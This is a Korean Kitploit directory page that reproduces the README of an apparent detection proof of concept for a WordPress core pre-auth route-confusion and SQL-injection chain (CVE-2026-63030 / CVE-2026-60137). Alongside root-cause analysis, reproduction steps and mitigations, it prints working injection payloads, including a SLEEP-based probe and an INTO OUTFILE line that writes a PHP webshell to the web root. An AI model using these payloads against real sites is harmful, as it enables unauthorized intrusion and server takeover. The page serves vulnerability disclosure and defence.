Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wordpress-cve-2026-63030 — WordPress 코어에서 REST API 배치 경로 혼동을 통한 인증 전 RCE + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). 탐지 PoC. | Kitploit
도구/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

WordPress 코어에서 REST API 배치 경로 혼동을 통한 인증 전 RCE + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). 탐지 PoC.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
41개월 전아직 검토되지 않음

WordPress REST API 배치 라우트 혼동 + SQL 인젝션 → RCE

사전 인증, 인증 없이, 플러그인 필요 없음. 기본 WordPress 설치를 REST API 배치 엔드포인트를 통해 공격합니다.

CVECVE-2026-63030 (라우트 혼동 → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
발견자Adam Kues — Assetnote / Searchlight Cyber (별칭 "wp2shell")
영향받는 버전WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (전체 RCE 체인) · 6.8.0 – 6.8.5 (SQLi만)
패치됨6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSS중요 (RCE 체인) / 보통 (SQLi 단독)
연구자 블로그https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. 개요

WordPress 코어의 두 가지 버그로, 인증되지 않은 원격 코드 실행으로 연결될 수 있습니다:

  1. author__not_in이 배열이 아닌 문자열일 때 WP_Query에서 SQL 인젝션 발생 — is_array() 정리 검사가 생략되고 원시 값이 NOT IN (...) 절에 직접 삽입됩니다.
  2. WP_REST_Server::serve_batch_request_v1()에서 배치 라우트 혼동 발생 — WP_Error 하위 요청이 $validation[]에는 추가되지만 $matches[]에는 추가되지 않아 인덱스가 +1 밀립니다. 하위 요청 i가 하위 요청 i+1의 핸들러로 디스패치됩니다.

단일 버그만으로는 충분하지 않습니다: REST API는 author_exclude (type: array, items: integer)를 WP_Query에 도달하기 전에 정리하며, 배치 엔드포인트는 GET 하위 요청을 거부합니다 (enum: POST, PUT, PATCH, DELETE). 이를 이중 혼동을 통해 연결하면 두 방어를 모두 우회하고 인증 없이 SQLi에 도달합니다.

2. 근본 원인

2.1 SQL 인젝션 — src/wp-includes/class-wp-query.php (CVE-2026-60137)

취약한 버전 (6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

author__not_in이 문자열일 때 is_array() 분기가 생략됩니다. (array) "payload"는 ["payload"]로 평가되고, implode(',', ...)는 원시 문자열을 반환하여 SQL에 직접 삽입됩니다.

수정 (6.9.5): 모든 입력 형태를 받아 정리된 정수 목록을 반환하는 wp_parse_id_list() 사용.

2.2 배치 라우트 혼동 — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

위치 0에 있는 단일 WP_Error 하위 요청(예: 잘못된 경로)은 모든 후속 항목을 하나씩 밀어냅니다. 요청 i는 요청 i+1의 핸들러로 디스패치됩니다.

수정 (6.9.5): 오류 케이스에도 $matches[] = $single_request;를 추가. 추가로 디스패치가 진행 중일 때 rest_api_loaded() / serve_request()가 단락되도록 강화.

3. 이중 혼동 체인

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

결과 SQL 조각은:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N)은 일치하는 각 게시물 행마다 한 번씩 실행되므로 총 지연 시간은 약 N × <number_of_published_posts>초입니다.

SQLi에서 RCE로 ("wp2shell")

SELECT 전용 인젝션(스택 쿼리 없음, $wpdb는 mysqli_query 사용)은 MySQL 사용자에게 FILE 권한이 있을 때 일반적인 LAMP 스택에서 여전히 RCE를 유발합니다. 이는 많은 공유 호스팅 업체 및 자체 관리 서버에서 기본값입니다.

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

PHP 웹쉘을 웹 루트에 작성하여 /x.php에서 접근 가능합니다.

대안 경로(FILE 권한 필요 없음)에는 UNION/부울 블라인드 SQLi를 통해 관리자 비밀번호 해시를 읽고 인증된 관리자 UI를 통해 악성 플러그인을 업로드하는 것이 포함됩니다.

4. 탐지 / PoC

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

PoC는 두 가지 비파괴 테스트를 수행합니다:

root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

취약한 6.9.4 인스턴스에 대한 예제 출력:

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

지연 없음 / 구조적 혼동 없음 ⇒ 패치됨 (6.8.6 / 6.9.5 / 7.0.2).

요구 사항

  • Python ≥ 3.9
  • requests (pip install requests)

5. 재현

재현하는 가장 쉬운 방법은 공식 Docker 이미지를 사용하는 것입니다 (자동 업데이터는 공개 후 몇 시간 내에 대부분의 실제 인스턴스를 패치합니다):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

INTO OUTFILE → RCE 단계를 위해 FILE 권한을 부여하고 DB 프로세스가 웹 루트에 쓸 수 있는지 확인하십시오 (단일 서버 LAMP 또는 Docker의 공유 볼륨):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. 완화

  1. 즉시 업데이트하여 6.8.6 / 6.9.5 / 7.0.2(또는 그 이상)로 업데이트하십시오. WordPress는 기본적으로 마이너/보안 릴리스를 자동 적용하므로(WP_AUTO_UPDATE_CORE), 대부분의 실제 사이트는 이미 패치되었습니다.
  2. 지금 바로 업데이트할 수 없는 경우 WAF/리버스 프록시 수준에서 배치 엔드포인트에 대한 익명 접근을 차단하십시오:
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. WordPress DB 사용자로부터 FILE 권한을 회수하십시오:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. secure_file_priv가 설정되어 있는지 확인하십시오 (비어 있지 않음):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. 타임라인

날짜이벤트
2026-07-17WordPress 6.8.6 / 6.9.5 / 7.0.2 출시
2026-07-17GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf 발행
2026-07-17Assetnote / Searchlight Cyber가 "wp2shell" 권고 + https://wp2shell.com 체커 발행

8. 참고 자료

  • WordPress 권고
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • 발견자 글
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • 패치 차이 (6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • 체커 사이트
    • https://wp2shell.com/

9. 책임 있는 공개

이 저장소는 탐지 PoC만 포함합니다 — 시간 기반 블라인드 SQLi와 구조적 응답 검사를 사용합니다. 데이터를 추출하거나 파일을 쓰거나 RCE를 시도하지 않습니다. 이 코드가 게시되기 전에 취약점은 이미 WordPress와 원본 연구자에 의해 패치되고 공개적으로 공개되었습니다.

소유한 시스템이나 테스트 권한이 있는 시스템에만 사용하십시오.

라이선스

MIT — LICENSE 참조.

도구 다운로드
테스트방법안전?
라우트 혼동 (CVE-2026-63030)구조적 — 응답 본문에서 게시물 전용 필드를 확인하여 내부 요청1이 게시물 핸들러로 디스패치됨을 검증예
SQLi (CVE-2026-60137)시간 기반 블라인드 — author_exclude를 통해 SLEEP(N)을 주입하고 정상 기준과의 지연 시간 측정예